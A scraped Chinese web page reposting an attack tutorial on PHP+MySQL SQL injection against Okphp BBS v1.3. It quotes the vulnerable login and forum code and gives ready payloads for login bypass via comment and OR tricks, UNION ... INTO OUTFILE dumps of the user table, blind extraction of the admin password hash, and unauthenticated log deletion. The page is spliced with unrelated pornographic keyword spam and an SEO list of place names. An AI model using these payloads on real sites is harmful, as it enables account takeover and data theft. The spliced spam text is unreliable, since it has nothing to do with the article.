由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時(shí)語(yǔ)句的構(gòu)造方面更是個(gè)難點(diǎn),本文主要是借對(duì)Okphp BBS v1.3一些文件得簡(jiǎn)單分析,來(lái)談?wù)刾hp+mysql注射 " /> 欧美色综合网,亚洲一区二区精品,国产麻豆综合

色尼玛亚洲综合影院,亚洲3atv精品一区二区三区,麻豆freexxxx性91精品,欧美在线91

php 攻擊方法之談php+mysql注射語(yǔ)句構(gòu)造

一.前言:
  版本信息:Okphp BBS v1.3 開(kāi)源

  由于php和MYSQL本身得原因,php+MYSQL的注射要比ASP困難,尤其是注射時(shí)語(yǔ)句的構(gòu)造方面更是個(gè)難點(diǎn),本文主要是借對(duì)Okphp BBS v1.3一些文件得簡(jiǎn)單分析,來(lái)談?wù)?a href=/itjie/phpjishu/ target=_blank class=infotextkey>php+mysql注射語(yǔ)句構(gòu)造方式,希望本文對(duì)你有點(diǎn)幫助。
  聲明:文章所有提到的“漏洞”,都沒(méi)有經(jīng)過(guò)測(cè)試,可能根本不存在,其實(shí)有沒(méi)有漏洞并不重要,重要的是分析思路和語(yǔ)句構(gòu)造。
  二.“漏洞”分析:
  1.admin/login.php注射導(dǎo)致繞過(guò)身份驗(yàn)證漏洞:
  代碼:
復(fù)制代碼 代碼如下:
  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
  $password = md5($password);
  $q = "select id,group_id from $user_table where username='$username' and password='$password'";
  $res = sql_query($q,$conn);
  $row = sql_fetch_row($res);
  $q = "select id,group_id from $user_table where username='$username' and password='$password'"中
  
$username 和 $password 沒(méi)過(guò)濾, 很容易就繞過(guò)。

  對(duì)于select * from $user_table where username='$username' and password='$password'這樣的語(yǔ)句改造的方法有:
  構(gòu)造1(利用邏輯運(yùn)算):$username=' OR 'a'='a $password=' OR 'a'='a
  相當(dāng)于sql語(yǔ)句:
  select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'
  構(gòu)造2(利用mysql里的注釋語(yǔ)句# ,/* 把$password注釋掉):$username=admin'#(或admin'/*)
  即:
  select * from $user_table where username='admin'#' and password='$password'"
  相當(dāng)于:
  select * from $user_table where username='admin'
  在admin/login.php中$q語(yǔ)句中的$password在查詢(xún)前進(jìn)行了md5加密所以不可以用構(gòu)造1中的語(yǔ)句繞過(guò)。這里我們用構(gòu)造2:
  select id,group_id from $user_table where username='admin'#' and password='$password'"
  相當(dāng)于:
  select id,group_id from $user_table where username='admin'
  只要存在用戶(hù)名為admin的就成立,如果不知道用戶(hù)名,只知道對(duì)應(yīng)的id,
  我們就可以這樣構(gòu)造:$username=' OR id=1#
  相當(dāng)于:
  select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注釋掉)
  我們接著往下看代碼:
復(fù)制代碼 代碼如下:
  if ($row[0]) {
  // If not admin or super moderator
  if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {
  $login = 0;
  }
  else {
  $login = 1;
  }
  }
  // Fail to login---------------
  if (!$login) {
  write_log("Moderator login","0","password wrong");
  echo " ";
  exit();
  }
  // Access ! -------------
  else {
  session_start();

  最后簡(jiǎn)單通過(guò)一個(gè)$login來(lái)判斷,我們只要ie提交直接提交$login=1 就可以繞過(guò)了 :)。
  2.users/login.php注射導(dǎo)致繞過(guò)身份驗(yàn)證漏洞:
  代碼:
復(fù)制代碼 代碼如下:
  $md5password = md5($password);
  $q = "select id,group_id,email from $user_table where username='$username' and password='$md5password'";
  $res = sql_query($q,$conn);
  $row = sql_fetch_row($res);

  $username沒(méi)過(guò)濾利用同1里注釋掉and password='$md5password'";

  3.admin/log/list.php存在任意刪除日志記錄漏洞。(ps:這個(gè)好象和php+mysql注射無(wú)關(guān),隨便提一下)
  okphp的后臺(tái)好象寫(xiě)得很馬虎,所有文件都沒(méi)有判斷管理員是否已經(jīng)登陸,以至于任意訪問(wèn)。我們看list.php的代碼:
復(fù)制代碼 代碼如下:
  $arr = array("del_log","log_id","del_id");
  get_r($arr);
  //
  if ($del_log) {
  省略........
  if ($log_id) {
  foreach ($log_id as $val) {
  $q = "delete from $log_table where id='$val'";
  $res = sql_query($q,$conn);
  if ($res) {
  $i++;
  }
  }
  }
  elseif ($del_id) {
  $q = "delete from $log_table where id='$del_id'";
  $res = sql_query($q,$conn);
  }
  $tpl->setVariable("message","$i log deleted ok!");
  $tpl->setVariable("action","index.php?action=list_log");
  }

  代碼就只簡(jiǎn)單的用get_r($arr);判斷的提交的參數(shù),我們只要提交相應(yīng)的$del_log,$log_id,$del_id。就回刪除成功。
  4.多個(gè)文件對(duì)變量沒(méi)有過(guò)濾導(dǎo)致sql注射漏洞。
  okphp的作者好象都不喜歡過(guò)濾:)。基本上所有的sql語(yǔ)句中的變量都是“赤裸裸”的。具體那些文件我就不列出來(lái)了,請(qǐng)自己看代碼,我這里就用/forums/list_threads.php為例子簡(jiǎn)單談一下。
  看list_threads.php的代碼:
復(fù)制代碼 代碼如下:
  $q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'";
  $res = sql_query($q,$conn);
  $row = sql_fetch_row($res);

  變量$forum_id沒(méi)有過(guò)濾,因?yàn)閙ysql不支持子查詢(xún),我們可以利用union構(gòu)造語(yǔ)句進(jìn)行聯(lián)合查詢(xún)(要求MySQL版本在4.00以上)實(shí)現(xiàn)跨庫(kù)操作,我們構(gòu)造如下:
  構(gòu)造1:利用 SELECT * FROM table INTO OUTFILE '/path/file.txt'(要求mysql有file權(quán)限,注意在win系統(tǒng)中要絕對(duì)路徑,如:c://path//file.txt )。把所查詢(xún)的內(nèi)容輸入到file.txt,然后我們可以通http://ip/path/file.txt來(lái)訪問(wèn)得到查詢(xún)的結(jié)果。上面的我們可以這樣構(gòu)造$forum_id:
  $forum_id=' union select * from user_table into outfile '/path/file.txt'
  以下:
  $q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";
  上面的辦法要求比較苛刻,必須得到web的路徑(一般可以通過(guò)提交錯(cuò)誤的變量使mysql報(bào)錯(cuò)而得到),而且php的magic_gpc=on選項(xiàng)使注入中不能出現(xiàn)單引號(hào)。如果magic_gpc=on我們也可以繞過(guò):
  構(gòu)造2:就象ASP跨庫(kù)查詢(xún)一樣,直接利用union select構(gòu)造語(yǔ)句,使返回結(jié)果不同來(lái)猜解,這種方法可以繞過(guò)單引號(hào)(magic_gpc=on)繼續(xù)注射,不過(guò)在php里這種注射相對(duì)困難,根據(jù)具體的代碼而定。具體的語(yǔ)句構(gòu)造請(qǐng)參考pinkeyes 的文章《php注入實(shí)例》。下面我就結(jié)合okphp給個(gè)利用“返回結(jié)果不同”注射的例子:(見(jiàn)漏洞5)。
  5.admin/login.php和users/login.php通過(guò)sql語(yǔ)句構(gòu)造可以猜解得到指定用戶(hù)密碼hash:(其實(shí)這個(gè)和漏洞1和2是同一個(gè),這里單獨(dú)拿出來(lái),主要是說(shuō)明語(yǔ)句構(gòu)造的方法。)
  問(wèn)題代碼同漏洞1。
  語(yǔ)句的構(gòu)造(ps:因?yàn)檎Z(yǔ)句本身就是對(duì)用戶(hù)庫(kù)操作就沒(méi)必要用union了):
  $username=admin' AND LENGTH(password)=6#
  sql語(yǔ)句變成:
  $q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"
  相當(dāng)于:
  $q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"
  如果LENGTH(password)=6成立,則正常返回,如果不成立,mysql就會(huì)報(bào)錯(cuò)。
  這樣我們就可以猜解用戶(hù)admin密碼hash了。如$username=admin' ord(substring(password,1,1))=57#
  可以猜用戶(hù)的密碼第一位的ascii碼值............。

php技術(shù)php 攻擊方法之談php+mysql注射語(yǔ)句構(gòu)造,轉(zhuǎn)載需保留來(lái)源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 六安市| 专栏| 共和县| 界首市| 扶绥县| 甘肃省| 蓝山县| 遂昌县| 宜阳县| 定兴县| 临猗县| 仁布县| 萍乡市| 柘城县| 体育| 顺昌县| 什邡市| 恭城| 南华县| 阜宁县| 龙江县| 阿拉尔市| 时尚| 山东省| 盐津县| 鹿邑县| 临安市| 扎兰屯市| 神池县| 黄大仙区| 大关县| 黄山市| 教育| 武城县| 宁德市| 射洪县| 深泽县| 合作市| 南皮县| 保德县| 仪陇县|